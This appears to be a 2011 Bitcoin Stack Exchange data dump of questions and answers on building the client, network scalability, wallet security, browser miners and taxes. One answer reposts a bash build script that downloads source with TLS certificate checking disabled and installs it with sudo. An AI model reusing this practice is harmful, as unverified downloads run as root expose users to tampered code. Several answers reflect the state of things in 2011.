  <row Id="522" PostTypeId="1" AcceptedAnswerId="533" CreationDate="2011-09-03T18:41:47.440" Score="11" ViewCount="748" Body="&lt;p&gt;We have &lt;a href=&quot;http://lickthesalt.com/2010/08/19/compiling-bitcoin-on-ubuntu-10-04-lucid/comment-page-1/#comment-299&quot; rel=&quot;nofollow noreferrer&quot;&gt;this detailed tutorial for Lucid Lynx&lt;/a&gt;, but somehow it doesn't work for Natty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also have &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/416/how-do-i-build-bitcoin-from-source-in-linux&quot;&gt;a similar question&lt;/a&gt; but it is too broad and the solution there isn't complete enough to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created this question asking for a tutorial that will work on any freshly installed Natty.&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2011-09-08T05:24:02.143" Title="How to build Bitcoin from source on Ubuntu 11.04 Natty Narwhal?" Tags="|client|development|ubuntu|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="523" PostTypeId="2" ParentId="520" CreationDate="2011-09-03T19:52:57.703" Score="12" Body="&lt;p&gt;It is because of hackers that bundle the CPU miners in their viruses causing &lt;em&gt;unaware&lt;/em&gt; AV makers to ban the miners that are being used. (including cgminer due to the fact it was cpuminer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: According to nmat, there are also virus GPU miners.&lt;/p&gt;&#xA;" OwnerDisplayName="user173" LastEditorDisplayName="user173" LastEditDate="2014-01-12T07:32:09.287" LastActivityDate="2014-01-12T07:32:09.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="524" PostTypeId="1" AcceptedAnswerId="529" CreationDate="2011-09-03T20:16:47.363" Score="15" ViewCount="1094" Body="&lt;p&gt;I'm coming at this from a point of view that assumes Bitcoin has been widely adopted as a currency worldwide and is essentially mainstream. Every day people are using Bitcoin in the same way that they use their credit cards today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will the transaction volume at this level be sufficient to overwhelm the Bitcoin network given that transactions are processed differently to those of the credit card companies?&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="5406" LastEditDate="2014-11-01T12:19:06.820" LastActivityDate="2018-03-31T14:07:31.363" Title="Can the number of transactions per second ever overwhelm the network?" Tags="|transactions|scalability|future-proof|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="525" PostTypeId="1" AcceptedAnswerId="527" CreationDate="2011-09-03T20:26:55.067" Score="12" ViewCount="297" Body="&lt;p&gt;I have read much of the Bitcoin algorithm and its encryption basis, however little has been said of the software's inherent security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What solutions are already built in to the software, and what is planned?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problems I see: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;At the moment it uses IRC networks for locating others. (IRC is fairly insecure and easily taken out with simple DDoS)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wallets have not been encrypted by default. (Physical or remote access to the hard drive provides anyone with the wallet without even so much as a passphrase.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wallets are complex data structures with no backup tools. (They cannot be easily backed up to a physical hard copy or a secured digital copy. At least not without using 3rd party software such as PGP or TrueCrypt.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The server communication protocols default to plain text instead of SSL or some other encrypted traffic.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="168" LastEditorUserId="50" LastEditDate="2011-09-03T23:14:26.393" LastActivityDate="2018-03-27T08:30:53.133" Title="What security features are built in to the standard Bitcoin software?" Tags="|security|weaknesses|network|irc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="526" PostTypeId="2" ParentId="524" CreationDate="2011-09-03T20:28:06.940" Score="2" Body="&lt;p&gt;The answer is no, and here is why: average computer can verify about &lt;a href=&quot;https://bitcointalk.org/index.php?topic=3971.msg56932#msg56932&quot; rel=&quot;nofollow&quot;&gt;80 transactions per second&lt;/a&gt;. But most miners now days connected to pool servers, and in that case transaction verification happens only on the server, which could have a very sophisticated hardware and process &lt;a href=&quot;https://bitcointalk.org/index.php?topic=6284.msg92201#msg92201&quot; rel=&quot;nofollow&quot;&gt;much larger number of transactions&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-09-03T21:23:18.767" LastActivityDate="2011-09-03T21:23:18.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="527" PostTypeId="2" ParentId="525" CreationDate="2011-09-03T21:00:41.517" Score="7" Body="&lt;p&gt;Essentially, almost none. But all of the problems aren't really particularly serious or the proposed solutions don't really help anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latest version of the client doesn't use IRC by default, though it's still supported to help older clients find newer clients. Instead, DNS is used. But these really aren't points of failure because a list of known working legitimate nodes is hard coded into the client. And as soon as you can find one node, it can send you the current list of working nodes anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wallets aren't encrypted by default, but if they were, we'd be flooded with &quot;I forgot my wallet password&quot; complaints and people would lose their Bitcoins anyway. Also, there are complex technical reasons why password-protecting the wallet won't actually work against the typical threat model (mass distributed malware with specific Bitcoin knowledge).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client supports a 'backup wallet' command. But the wallet is in BerkeleyDB format. I wish the client had a native wallet format specifically for backups. There is work on fully deterministic wallets, so you can 'backup' your wallet just by knowing a passphrase even with &lt;strong&gt;no&lt;/strong&gt; backup files at all. This is a legitimate issue and one that's being worked on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server does default to plain text, but it also defaults to localhost communication only and you must configure a password to run it in server mode. (There's no issue in GUI mode.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These issues are all being worked on. The client is pretty raw at the moment, definitely.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-03T21:00:41.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="528" PostTypeId="2" ParentId="524" CreationDate="2011-09-03T21:05:26.470" Score="7" Body="&lt;p&gt;There are actually a number of possible threat models to evaluate. But since you asked about overwhelming &quot;the network&quot;, I'll look only at attempts to overwhelm the network as a whole and not talk about attempts to overwhelm a few nodes. (You can overwhelm a node with invalid transactions, but that won't hurt the network as a whole.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, nodes will only pass verified, valid transactions to other nodes. And a node will only pass one transaction that attempts to claim a given output. And further, a node will not pass a transaction that claims a new output (one that hasn't been stable for a long time) unless it includes a transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to assume an attacker will use no transaction fees. Otherwise, he'll go broke pretty soon. So in order to get his transactions relayed, he'll have to use old outputs. The problem is, his transactions will get into mined blocks, consuming his old outputs and replacing them with new ones. With new ones, he won't be able to get his transactions relayed for free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The net effect is that you can't sustain such an attack for long because you can't have that many old transaction outputs that you can claim, and you'll burn them very quickly because you can only relay one transaction per output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Effectively, after a short initial burst, at best you can send new transactions as fast as they're included in mined blocks, which might be maybe 100 transactions every 10 minutes. That's not much load.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-03T21:05:26.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="529" PostTypeId="2" ParentId="524" CreationDate="2011-09-03T21:08:31.227" Score="9" Body="&lt;p&gt;There are three parts to this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The miners have to verify each transaction that will go into the block and all transactions that are in the block they will be basing their own work on&lt;/li&gt;&#xA;&lt;li&gt;Each client needs to look for transaction destined to their own addresses, which can get hard if you have a large address pool&lt;/li&gt;&#xA;&lt;li&gt;Since all transactions are broadcast the network itself could potentially be flooded.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The first two are pretty simple to solve since most computers already can process up to 100 transactions a second (resulting in roughly 10*60*100=60'000 transactions per block) and this can be pushed by investing in larger hardware to do the processing, and offloading verification to trusted third parties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last part is harder to solve as it results in possibly O(n^2) messages going around the network. Here a more structured network might do the trick, but all attempts so far to create a structured network have been dismissed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last but not least the blockchain grows linearly with every transaction which uses diskspace on every client. This has been partly solved by Satoshi in his paper.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2011-09-03T21:08:31.227" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="530" PostTypeId="1" AcceptedAnswerId="548" CreationDate="2011-09-03T21:57:17.353" Score="8" ViewCount="7791" Body="&lt;p&gt;I just came across &lt;a href=&quot;https://chrome.google.com/webstore/detail/piobcnfhopbhgpkglmfclghgjahjhalf&quot; rel=&quot;nofollow&quot;&gt;Rlweb's Bitcoin Generator&lt;/a&gt;, a Chrome extension that claims to be the &quot;first google chrome extension creating Bitcoins&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This extension looks quite shady to me, they don't even have a link to their website. Is it a scam?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it at least in theory be possible to write a miner application as a browser extension?&lt;br&gt;&#xA;With GPU support?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: For completeness, I found another Chrome extension named &lt;a href=&quot;https://chrome.google.com/webstore/detail/dcmbmmhjekejnneeomopbdnfkapnicgk&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Miner&lt;/a&gt;.&lt;br&gt;&#xA;This one looks more legit, but it says it's a Flash game. It doesn't really generate bitcoins, or does it?&lt;/p&gt;&#xA;" OwnerUserId="72" LastEditorUserId="5406" LastEditDate="2016-01-21T14:22:06.283" LastActivityDate="2017-12-06T06:31:53.570" Title="Is it possible to generate bitcoins with a Google Chrome extension?" Tags="|cpu-mining|gpu-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="531" PostTypeId="2" ParentId="530" CreationDate="2011-09-03T23:00:36.573" Score="4" Body="&lt;p&gt;Well, I cannot speak for that specific generator. However there has been a javascript generator already in use and Chrome extentions are I believe javascript based, so it is very possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The javascript generator only uses CPU mind you, and is quite slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for using the GPU, that is a possibility with some of the browser plugins out there, such as Unity. However a native browser? not very likely, they try very hard to restrict hardware access.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2011-09-03T23:00:36.573" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="532" PostTypeId="1" AcceptedAnswerId="2396" CreationDate="2011-09-03T23:21:28.677" Score="8" ViewCount="3773" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=9876.0&quot;&gt;Krad Miner&lt;/a&gt; was the first javascript miner that supported GPUs. Now, &lt;a href=&quot;http://kradminer.com/&quot;&gt;the website&lt;/a&gt; yields a 502 error, and there has been no response to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=9876.msg301179#msg301179&quot;&gt;post #57&lt;/a&gt; in the thread asking about it being dead.  Does anyone know what happened to it?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-01-21T10:15:25.980" LastActivityDate="2016-01-21T10:15:25.980" Title="What happened to Krad Miner (the first javascript GPU miner)?" Tags="|gpu-mining|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="533" PostTypeId="2" ParentId="522" CreationDate="2011-09-03T23:53:11.390" Score="7" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?action=profile;u=6020&quot; rel=&quot;nofollow&quot;&gt;Wolciph&lt;/a&gt; over on the Bitcoin forums wrote a &lt;a href=&quot;http://pastebin.com/JLxKKpuq&quot; rel=&quot;nofollow&quot;&gt;bash script&lt;/a&gt; specifically for 11.04. You haven't posted your specific build errors, but I'm guessing that the problem is with the wxWidgets lib and you'll probably have less issues when the main Bitcoin client eventually moves over to Qt (which I believe is in the works, correct me if I'm wrong). In case the link to the script eventually goes down, here it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;echo &quot;DISCLAIMER: you are using this script at your own discretion! By typing 'c', you agree that you have read the script yourself and have understood it and that you will thus take full responsabilty in the eventuality that this script leads to any harm to you or your property. If you do not agree type 'n'&quot;&#xA;read -n 1 r&#xA;[ &quot;$r&quot; = 'c' ] || exit 0&#xA;&#xA;set -e&#xA;&#xA;echo &quot;You will be prompted to enter your password in order to install necessary dependencies.&quot;&#xA;&#xA;sudo apt-get install build-essential libgtk2.0-dev libssl-dev libdb4.7-dev libdb4.7++-dev libboost-all-dev&#xA;sudo apt-get build-dep libwxgtk2.8-dev&#xA;&#xA;mkdir bitcoin || true&#xA;cd bitcoin&#xA;&#xA;[ -e wxWidgets.tar.gz ] || wget &quot;http://biolpc22.york.ac.uk/pub/Daily_HEAD/wxWidgets.tar.gz&quot;&#xA;[ -e wxWidgets ] || tar -xvzf wxWidgets.tar.gz&#xA;cd wxWidgets&#xA;./configure&#xA;make -j3&#xA;sudo make install&#xA;sudo ldconfig&#xA;cd ..&#xA;&#xA;[ -e miniupnpc*.tar.gz ] || wget &quot;http://miniupnp.tuxfamily.org/files/download.php?file=miniupnpc-1.5.tar.gz&quot;&#xA;[ -e miniupnpc*/ ] || tar -xvzf *miniupnpc*.tar.gz&#xA;cd *miniupnpc*/&#xA;make&#xA;sudo make install&#xA;cd ..&#xA;&#xA;#for some reason, github's certificate doesn't work:&#xA;[ -e bitcoin*.tar.gz ] || wget --no-check-certificate &quot;https://www.github.com/bitcoin/bitcoin/tarball/v0.3.21&quot;&#xA;[ -e bitcoin*/ ] || tar -xvzf &quot;v0.3.21&quot;&#xA;cd bitcoin*/&#xA;make -f makefile.unix&#xA;#optional:&#xA;strip bitcoin&#xA;echo &quot;Bitcoin is now compiled : '$PWD/bitcoin'&quot;&#xA;echo &quot;Launch bitcoin now? (y/n)&quot;&#xA;read -n1 r&#xA;[[ &quot;$r&quot; = y ]] &amp;amp;&amp;amp; ./bitcoin&#xA;cd ..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-09-03T23:53:11.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="535" PostTypeId="1" AcceptedAnswerId="538" CreationDate="2011-09-04T02:03:54.523" Score="14" ViewCount="1428" Body="&lt;p&gt;What taxes should be paid in Canada on Bitcoin transactions? Has anyone gotten official advice on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it relevant whether the Bitcoins were mined, received as payment for services, bought and then sold for a profit, or freely donated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it relevant whether the Bitcoins are exchanged for CAD or exchanged directly for goods?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it relevant where geographically the buyer and seller are?&lt;/p&gt;&#xA;" OwnerUserId="179" LastEditorUserId="516" LastEditDate="2012-08-06T09:05:55.500" LastActivityDate="2022-08-10T01:35:38.193" Title="Tax implications in Canada of buying and selling Bitcoins?" Tags="|legal|taxes|canada|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="536" PostTypeId="2" ParentId="517" CreationDate="2011-09-04T02:07:56.387" Score="5" Body="&lt;p&gt;This is a great goal, which many people will assume just can't be done.  But remarkable strides are being made in the field of secure cloud computing via homomorphic encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These schemes allow servers in the cloud to perform computing tasks (currently only a limited set of arithmetic) on encrypted values &lt;strong&gt;without&lt;/strong&gt; decrypting them.  See more at &lt;a href=&quot;https://security.stackexchange.com/questions/3728/in-what-ways-does-full-or-partial-homomorphic-encryption-benefit-the-cloud&quot;&gt;In what ways does Full or Partial Homomorphic Encryption benefit the cloud? - IT Security - Stack Exchange&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A question about applying this to Bitcoin clients on &lt;em&gt;Less Wrong&lt;/em&gt; is here: &lt;a href=&quot;http://lesswrong.com/lw/5rg/homomorphic_encryption_and_bitcoin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Homomorphic encryption and Bitcoin&lt;/a&gt; but they seem to be confusing homomorphic encryption with a form of secret splitting between two computers, which would not meet the goal outlined here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that current homomorphic techniques are inadequate or too slow or both for bitcoin, but I'm not sure.  But further research may make it practical.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="-1" LastEditDate="2017-03-17T13:14:44.100" LastActivityDate="2011-09-04T02:13:13.413" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="537" PostTypeId="2" ParentId="501" CreationDate="2011-09-04T06:21:30.260" Score="2" Body="&lt;p&gt;From a consumer standpoint, PCI compliance is a useful hurdle to expect companies to meet, as it helps ensure that some amount of due diligence has been applied to security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But note that from the standpoint of a savvy IT department, there are times that PCI can get in the way.  E.g., potentially faced with a less-skilled PCI assessor without as much understanding of the technology, sometimes PCI can lead the team on a wild goose chase, or perhaps give management an excuse to under-invest in security, feeling they only have to satisfy the assessor.  See e.g.&#xA;&lt;a href=&quot;https://security.stackexchange.com/questions/622/does-pci-compliance-really-reduce-risk-and-improve-security&quot;&gt;Does PCI compliance really reduce risk and improve security? - IT Security - Stack Exchange&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="-1" LastEditDate="2017-03-17T13:14:44.100" LastActivityDate="2011-09-04T06:21:30.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="538" PostTypeId="2" ParentId="535" CreationDate="2011-09-04T06:30:31.157" Score="9" Body="&lt;p&gt;Taxing authorities consider currencies or goods received in trade to be taxable income. Bitcoin would fall in the same category as foreign currency or barter, and would be taxable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Canada, barter is sometimes exempt from taxation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;According to the Revenue Canada document T-490 (Barter Transactions): if the person(s) bartering is an employee, and not a business owner, they may exchange non-business-related services or goods &quot;occasionally&quot; without being subject to taxation. However, if the goods are business-related, or the exchange is &quot;a regular habit&quot; it falls under the category of taxable income, regardless of his employee status.&quot; &lt;a href=&quot;http://businesspartnerships.ca/articles/bartering_for_small_business.phtml&quot;&gt;source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the Revenue Canada bulletin on barter and taxation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cra-arc.gc.ca/E/pub/tp/it490/it490-e.txt&quot;&gt;http://www.cra-arc.gc.ca/E/pub/tp/it490/it490-e.txt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7" LastActivityDate="2011-09-04T06:30:31.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="539" PostTypeId="2" ParentId="532" CreationDate="2011-09-04T06:39:35.703" Score="5" Body="&lt;p&gt;The creator took the service down after coming under DOS attacks. He offered to open source the software for a bounty, and eventually brought his offer price down to 50 Bitcoins. The message with the offer was on the kradminer website until a couple of weeks ago, and only recently has the site been inaccessible.&lt;/p&gt;&#xA;" OwnerUserId="7" LastActivityDate="2011-09-04T06:39:35.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="540" PostTypeId="2" ParentId="498" CreationDate="2011-09-04T08:50:16.170" Score="7" Body="&lt;p&gt;&lt;a href=&quot;http://glbse.com/&quot;&gt;GLBSE&lt;/a&gt; is a website where companies and individuals can issue and sell stocks, bonds, and options via Bitcoin. Anyone can create an account and issue any contracts he wants - a contract is just some text, signed by him (For example I created &lt;a href=&quot;https://bitcointalk.org/index.php?topic=31041.0&quot;&gt;this bond&lt;/a&gt; as a proof of concept where I promised I will pay X amount of Bitcoin in the future for a loan of Y amount of Bitcoin today).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use GLBSE as an investor, transferring Bitcoins there and placing BUY and SELL orders on the various assets, or you can use it to sell parts of your company. It is a small scale version of a stock exchange (e.g. Nasdaq), with much lower fees and (almost?) no regulation. To create an IPO at an official stock exchange would probablly cost you at least a few thousand dollars, on GLBSE you can &lt;a href=&quot;https://glbse.com/fees.html&quot;&gt;do it for half a bitcoin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although GLBSE has a command line client and an API, the easiest way to use it would be the &lt;a href=&quot;https://glbse.com/client/glbse/index.html&quot;&gt;javascript client&lt;/a&gt;. You can see a &lt;a href=&quot;https://glbse.com/assets/&quot;&gt;list of assets here&lt;/a&gt;, and follow &lt;a href=&quot;http://www.bitmarketwatch.com/news/&quot;&gt;this blog&lt;/a&gt; for posts about new assets. An updated list of transactions is available &lt;a href=&quot;http://twitter.com/#!/search/GLBSE&quot;&gt;via Twitter&lt;/a&gt;, and you can find &lt;a href=&quot;http://charts.glbse.com/markets/&quot;&gt;graphs of the assets prices here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-09-04T08:50:16.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="541" PostTypeId="1" AcceptedAnswerId="544" CreationDate="2011-09-04T10:26:32.757" Score="11" ViewCount="1145" Body="&lt;p&gt;Anyone who has recently used one of the Bitcoin wallets on a mobile device (and some &lt;a href=&quot;http://multibit.org&quot;&gt;desktop  clients&lt;/a&gt;) will have seen a Bitcoin &lt;a href=&quot;http://en.wikipedia.org/wiki/QR_code&quot;&gt;QR code&lt;/a&gt;. Clearly, QR codes allow for a succinct method for transferring complex information in a reliable and error-resistant manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Naturally, the most obvious use of a QR code is for encoding a payment request URI. However, are there any other benefits that QR codes can bring to Bitcoin beyond this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking in terms of marketing, exotic transaction types that sort of thing.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2018-12-30T23:11:25.417" Title="What additional benefits can QR codes bring to Bitcoin applications beyond payment requests?" Tags="|qrcode|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="542" PostTypeId="2" ParentId="492" CreationDate="2011-09-04T11:15:34.293" Score="19" Body="&lt;p&gt;Collecting some of the publicly available information that I found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Martti Malmi (&lt;a href=&quot;https://en.bitcoin.it/wiki/People&quot;&gt;aka Sirius&lt;/a&gt;), a &lt;a href=&quot;http://www.bluewhitereflections.net/index.php/2011/05/the-scary-and-fascinating-currency-of-the-future&quot;&gt;student of Aalto University&lt;/a&gt; in Finland, was one of the core developers early on in the project. Satoshi attributed some of the new features of version 0.2 to him &lt;a href=&quot;http://bitcointalk.org/?topic=16.0&quot;&gt;here&lt;/a&gt; and he was the one making the first commits to &lt;a href=&quot;http://bitcoin.svn.sourceforge.net/viewvc/bitcoin/&quot;&gt;the Sourceforge repository&lt;/a&gt; back in August 2009. He was removed from the list of project developers on bitcoin.org in June 2011.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Andrew points out in his answer, both bitcoin.org and bitcointalk.org is owned by Martti. He is the administrator of the bitcointalk.org forums, still active there, and could most likely be contacted using the PM feature on the forums. Both Martti and Gavin Andresen (lead developer) &lt;a href=&quot;https://bitcointalk.org/index.php?topic=21549.msg271339#msg271339&quot;&gt;have access&lt;/a&gt; to the bitcoin.org website.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit September 25th, 2011&lt;/strong&gt;: The code for the bitcoin.org website is now hosted under the Bitcoin project &lt;a href=&quot;https://github.com/bitcoin/bitcoin.org&quot;&gt;on GitHub&lt;/a&gt;. This means that you can post issues/suggestions there or make a pull request if you wanna add or change something.&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="105" LastEditDate="2011-09-25T15:41:52.983" LastActivityDate="2011-09-25T15:41:52.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="543" PostTypeId="1" AcceptedAnswerId="549" CreationDate="2011-09-04T11:19:07.907" Score="15" ViewCount="663" Body="&lt;p&gt;Let's say all usability problems were solved. I'm imagining something like shops with tills that present QR codes for the amount and payment address for a transaction, and mobile clients exist that can scan them and present and easy Pay / Do Not Pay choice. So paying in a shop by Bitcoin would be no harder than credit/debit card, or even cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What limitations inherent in the Bitcoin protocol and network might prevent this from working? I'm thinking of things like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Network latency (transaction being received by the shop) holding up queues&lt;/li&gt;&#xA;&lt;li&gt;Poor mobile reception meaning shoppers find they unpredictably can't send money&lt;/li&gt;&#xA;&lt;li&gt;Lack of confirmations before the customer leaves meaning shops may sometimes lose payment&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I can see this being less of an issue in slower transactions, eg pubs, bars, restaurants. Are the above problems likely to materialise, and if so, are there any other types of transaction that might be affected?&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="5406" LastEditDate="2016-08-02T05:57:48.217" LastActivityDate="2016-08-02T05:57:48.217" Title="Is Bitcoin suitable for fast transactions, eg in shops?" Tags="|bitcoin-economy|mobile|face-to-face-payment|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="544" PostTypeId="2" ParentId="541" CreationDate="2011-09-04T11:21:38.030" Score="7" Body="&lt;p&gt;In terms of marketing, here is a very nice QR code that could be used for spreading the word about Bitcoin. It contains a link to &lt;a href=&quot;http://www.bitcoin.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin.org&lt;/a&gt;. See &lt;a href=&quot;https://bitcointalk.org/index.php?topic=30981.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;this thread&lt;/a&gt; on bitcointalk.org for more information. It was created by phelix at &lt;a href=&quot;http://bitcoinx.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoinx.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nm9rw.png&quot; alt=&quot;Bitcoin Extreme QR code&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="42185" LastEditDate="2018-12-30T23:11:25.417" LastActivityDate="2018-12-30T23:11:25.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="545" PostTypeId="1" CreationDate="2011-09-04T11:45:50.597" Score="14" ViewCount="724" Body="&lt;p&gt;I pay for some things on a regular basis. They generally fall into two categories:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Things I pay for or lose, eg a variety of online services (Spotify for example)&lt;/li&gt;&#xA;&lt;li&gt;Things I'm legally obliged to pay because I've signed a contract (my mobile bill, for example)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the first case, I suspect recurring payments could be handled relatively easily with upgrades to the original client interface. (Maybe it would be complicated by the desire to have a new address per transaction.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the second case, the other party has a stronger vested interest in knowing they will receive the money. Currently, with bank standing orders and direct debits, nothing stops me cancelling regular payments on my end. But companies who receive the payments rely in part on knowing I have to go out of my way to do that. They also rely on knowing that my wages likely go into the same bank account that their payment comes out of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Bitcoin, the situation is reversed. I have to go out of my way to make a recurring payment. Even I was using some online service (&quot;Bitcoin bank&quot;?) to make the payments, I'd still have to go out of my way to top up the balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With no changes to Bitcoin, if it became a dominant currency, I would predict an increase in the use of debt collection agencies to recover missed contract payments. Good for debt collection agencies, but it would drive up the cost of the services proportionately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could recurring payments be implemented in a mutually satisfactory way? Or is the current system inherently impossible to recreate with Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="5406" LastEditDate="2015-05-08T09:51:30.160" LastActivityDate="2015-05-08T09:51:30.160" Title="How could recurring payments be implemented?" Tags="|bitcoin-economy|commerce|recurring-payments|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
